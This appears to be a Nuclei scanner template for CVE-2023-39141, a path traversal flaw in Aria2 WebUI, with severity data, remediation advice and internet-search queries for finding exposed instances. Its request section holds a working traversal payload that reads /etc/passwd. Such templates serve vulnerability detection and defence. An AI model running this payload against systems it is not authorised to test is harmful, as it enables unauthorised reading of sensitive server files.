id: CVE-2023-39141 info: name: Aria2 WebUI - Path traversal author: DhiyaneshDk severity: high description: | webui-aria2 commit 4fe2e was discovered to contain a path traversal vulnerability. impact: | An attacker can access sensitive files on the server, potentially leading to unauthorized disclosure of sensitive information. remediation: | Upgrade to the latest version of Aria2 WebUI to fix the path traversal vulnerability. reference: - https://twitter.com/win3zz/status/1694239332465520684 - https://gist.github.com/JafarAkhondali/528fe6c548b78f454911fb866b23f66e - https://github.com/ziahamza/webui-aria2/blob/109903f0e2774cf948698cd95a01f77f33d7dd2c/node-server.js#L10 - https://github.com/codeb0ss/CVE-2023-39141-PoC - https://github.com/nomi-sec/PoC-in-GitHub classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2023-39141 cwe-id: CWE-22 epss-score: 0.005 epss-percentile: 0.76302 cpe: cpe:2.3:a:ziahamza:webui-aria2:-:*:*:*:*:*:*:* metadata: verified: true max-request: 2 vendor: ziahamza product: webui-aria2 shodan-query: - title:"Aria2 WebUI" - http.title:"aria2 webui" fofa-query: title="aria2 webui" google-query: intitle:"aria2 webui" tags: cve2023,cve,lfi,unauth,aria2,webui,ziahamza http: - method: GET path: - "{{BaseURL}}" - "{{BaseURL}}/../../../../etc/passwd" matchers: - type: dsl dsl: - 'contains(body_1, "Aria2 WebUI")' - 'regex("root:x:0:0:",body_2)' condition: and # digest: 4a0a00473045022100a38d7e3d153b3ca9f265e415de91c44b4ad3fc85616857375dd7d2a497452520022065e6ee9c6a28f3f4532fb908c2729c6bebd94b235f44854b7ccd57a63c9bcbad:922c64590222798bb761d5b6d8e72950